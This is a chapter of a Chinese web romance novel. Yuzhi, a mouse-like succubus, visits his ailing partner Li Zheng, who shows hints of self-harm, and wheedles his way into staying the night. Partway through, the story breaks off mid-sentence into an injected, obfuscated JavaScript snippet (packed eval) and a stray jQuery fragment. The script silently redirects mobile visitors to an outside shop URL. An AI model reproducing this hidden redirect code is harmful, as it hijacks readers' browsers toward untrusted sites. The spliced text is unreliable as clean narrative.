谁说花枝鼠智商低的?
机智如郁枝,就这么单枪匹马摸到了老公的秘密窝点。
在门外规规矩矩等了一阵,终于等到老公开门。
看清那张脸的瞬间,郁枝稍愣了一秒,旋即才笑开了花。
“老公你留胡子——”
话没说完,门毫不留情地拍在他脸上。
郁枝被带得后退半步,有些错愕地摸了摸鼻尖,但心情只沮丧了一秒就晴朗起来,耐心地在原地等。
一分钟。
两分钟。
第五分钟,门再次打开。
厉铮脸上的胡子已经消失了,取而代之的是几道新鲜的划痕,隐隐渗着血。
郁枝眼神不好,眯着眼想凑近看,肩膀却被一把攥住,不由分说地往外推。
“干嘛呀?”他扒住门框,一脸懵。
来之前他确实做好了被扫地出门的心理准备,可连门都不让进……未免也太惨了点吧?
“回去,”厉铮垂着头,额发乱糟糟地遮下来,大半张脸埋进阴影里,声音又低又哑,“车马上就到,你去楼下等。”
“我不要,”郁枝坚决抱住门框,大有撒泼到底的架势,厉铮越拽,他越扒得紧。
平日里单手就能把他拎起来的人,今天却格外虚。僵持几秒,竟被惯性带得一个踉跄,险些栽倒。
郁枝一惊,条件反射地冲过去扶他:“老公——”
厉铮一把将他推开,自己稳住身形,面色铁青,眼底跳着一簇冷冷的火:“这就是你说的很乖?”
郁枝忍不住委屈:“那我乖的时候你也不来看我啊。”
“……你还学会顶嘴了?”
“没有。”郁枝嘴上认怂,眼睛却贼溜溜地盯着厉铮身后的空当,趁着人类不注意,他猛地一矮身往屋里冲。
可惜计划失败,被厉铮截个正着,脑门不偏不倚撞在那堵硬邦邦的胸膛上。
“等等等等——”眼看厉铮是铁了心要把他送走,郁枝也顾不得绕弯子,生怕自己还没说完正事就被轰出去,扯着嗓子一股脑喊出来,“老公你知道极乐秀吗?”
厉铮的表情空白了半秒。
郁枝赶紧趁热打铁:“你可不可以帮我人脸识别一下呢,我想买票。”
厉铮表情愈发阴沉:“你去做什么?”
“我……还有很多同学要去,我想去见他们。”
厉铮半信半疑地打量他:“同学?”
郁枝小鸡啄米似的点头。
“什么同学?”厉铮实在无法从这个人身上看出任何义务教育的痕迹,很难想象他会有“同学”这种关系。
“这个……”人类不能知道魅魔的存在,郁枝支支吾吾,心虚地揪着衣角,“反正就是同学嘛……你给我买票好不好,拜托拜托啦老公。”
厉铮显然一个字不信,可他实在没力气跟他周旋,沉沉地吸了口气:“郁枝,我不管你是从哪儿听说的极乐秀,那都不是你能去的地方。”
郁枝不服气:“不就是唱歌跳舞,为什么不可以去?”
“你以为那么简单?那是——”话到嘴边,对上那双过分干净的眼睛,厉铮又硬生生咽了回去,话锋一转,“你知道那儿有多少人吗?你去一趟医院都能吓得拽着我衣角不放,去了那种地方你能待得住?”
“我可以的,”郁枝立刻反驳,“我今天就是自己来的。”
没错,今天一大早他就出了门,一个人徒步走下山,又自己打车进了城。
他简直太厉害了。
厉铮闭上眼,强压下胸腔里翻涌的气血,一字一顿地警告:“别逼我用绳子把你绑起来。”
“不要,”郁枝几乎整个人挂上门框,“我不走。”
厉铮面无表情:“我数到三。”
郁枝的鼠脑袋飞速运转:“外面黑,我怕。”
“车里有灯,”厉铮说,“三。”
“可是我好饿,肚子一直叫。”
“司机带你去吃。二。”
“求求你了老公,我走了好远好远的路,真的走不动了……“
“……”
……
五分钟后。
“吃什么?”
厨房门半敞着,厉铮从中露出半张臭脸。
原本还在客厅里东张西望的郁枝,听见动静屁颠屁颠地小跑过去:“都可以的!老公做什么我都爱吃。”
厉铮:“……”
他现在被药物折磨得什么都难以下咽,早已不记得上一顿是什么时候的事。拉开冷藏柜翻了翻,里面的食材勉强凑得出一碗面。
那就吃面。
厉铮拿出一块火腿,压在案板上切成块。
门口又探进半个脑袋,传来一声软糯的:“老公。”
黏黏糊糊的,扎得人心烦,但他现在的精力用来切肉都捉襟见肘,实在没有余力再去纠正。
“老公你平时都住这里吗?”
刀在肉上停了一瞬:“不喜欢就滚。”
“没有不喜欢,”郁枝环顾四周,笑得露出一口白牙,“这里好整洁,好干净。”
厉铮:“……”
如果空无一物也算整洁的话。
他撑着灶台边缘,等眩晕感终于慢慢退去,伸手去开火,扭头对郁枝说:“出去。”
这次郁枝倒是听话,转身回了客厅。
他在客厅里慢慢走着,目光一寸寸描摹着每个角落,哪怕四周很空,他还是看得很慢,很认真。
墙角闪过一丝金属光芒。
郁枝走过去。
是一把……刀?
躺在地上,刀刃半截露在外,出现在这里有点奇怪。
他凑近嗅了嗅,除了金属味,是一层熟悉的气息。
属于厉铮的气息。
浓烈得……不太正常。
只是单纯的触碰或握持,不可能留下这么重的气味。
得是□□,连汗液都不行。
那就只能是……
血。
这个念头刚浮上心头,郁枝有些失神,还来不及多想,手里的刀就被一股强劲的力道夺走。
“你做什么?!”厉铮眼睛发红,眼底绷着某种快要断裂的东西,“谁让你乱碰的?”
郁枝被吼得缩了缩脖子,眨巴着有些失焦的眼睛,舌头打结:“我只是看到地上……就想捡起来……”
厉铮沉着脸看了他几秒,胸腔剧烈起伏着,转身走进一间房。出来时手里捧着一件冬天的大衣,扔在地上给他当坐垫,然后折回厨房。
他最近活得稀里糊涂,手上的动作全凭本能,自己都不知道自己在做什么。
门外哒哒哒的脚步声来回响着,忽远忽近,像一阵没头没脑的风,在空旷的大平层里来回打转。
厉铮没空管那小东西到底在做什么,只想赶紧喂饱他,然后把人原路打包送回白松岭。
端着面出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753749|209474||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
来时,原本空荡荡的大厅中央,他各个季节的衣服堆成了一座小山。
小山顶端颤了颤,从中探出一个脑袋。
厉铮额角青筋一跳:“……你在做什么?”
“我搭了个窝,”郁枝下巴搁在衣服堆上,整个人陷在里面,笑盈盈地道,“用你的衣服搭的呢。”
满满当当全是老公的味道,他窝在里面,浑身上下都很舒服。
厉铮:“……”
就算郁枝现在想把天花板拆了,他也没力气阻止,就这么端着面走过去,认命般地在地上坐下。
“哇!”郁枝从衣服窝里钻出来,双手合十对着面碗深吸一口气,“好香啊。”
厉铮垂眸,看着那碗因为走神而煮过了头、面汤浑浊成一团的不可名状之物。
……不知道在香个什么劲。
郁枝夹起一筷子送进嘴里,脸上掠过一丝微妙的神色,很快就恢复如常,弯起眼睛:“好好吃。”
“……”厉铮看着他,只觉得浑身都不对劲,“吃不下就别吃,回山庄再吃。”
“没有吃不下,”为了证明,郁枝又往嘴里塞了两口,咽下去后小声又快速地补了一句,“……而且我今天不回去。”
“你不走睡哪儿?这里连床都没有。”
“就这样就挺好的啊,”郁枝美滋滋地拍了拍身旁的衣服,“这里好软的,比山庄的床还舒服。”
厉铮胸口陡然收紧,压抑了太久的情绪终于像溃堤一样涌了上来:“……你到底为什么总来打乱我?,明明我已经——”
明明已经下了决心,到了该了断的时候。
又是他……每次都是他……
郁枝听不懂他想说什么,手足无措之下,又夹了一筷子面。
厉铮忍无可忍,一把将碗抢过去:“……别吃了。”
他一直怀疑郁枝是个外星生物,在遇见自己之前,根本没有独立在地球上生存的经验。
但他好歹在山庄生活过一年,至少该知道,一个正常人的住所不该是眼前这副鬼样子,没有家具,没有椅子,连张吃饭的桌子都没有。
可他却什么都没问。
如此简陋的环境,如此难吃的食物,甚至只能像流浪汉一样在一堆衣服里睡觉……这些,郁枝好像全都能忍受。
但厉铮不能。
自从把他从下城区捡回家开始,他就没让他吃得这么差,睡得这么差过。
厉铮猝然站了起来。
郁枝慌里慌张跟着起身,眼睁睁看着厉铮一言不发地走进厨房,把那碗没吃完的面倒进垃圾桶,又走向玄关。
这下他是真的慌了。
厉铮说得没错,他怕人多的地方。
刚才进城的时候,越靠近市中心、人越多,他的腿就越软。可他知道,路的尽头有厉铮。
正是这个念头,一直支撑着他从白松岭走到这里。
如果现在被厉铮狠心扔出去,或者被单独留在这里,他真会不知道该怎么办。
玄关处,厉铮已经换好鞋,回头喊了一声:“走。”
“去哪里啊?”郁枝如临大敌地抓紧了身下的衣服,“我不要回去。”
厉铮侧目看了他一眼。
“开房。”
“……?”
郁枝整个鼠石化了。
心里小鹿乱撞,扑通,扑通。
开、开房?!
是……他想的那个意思吗?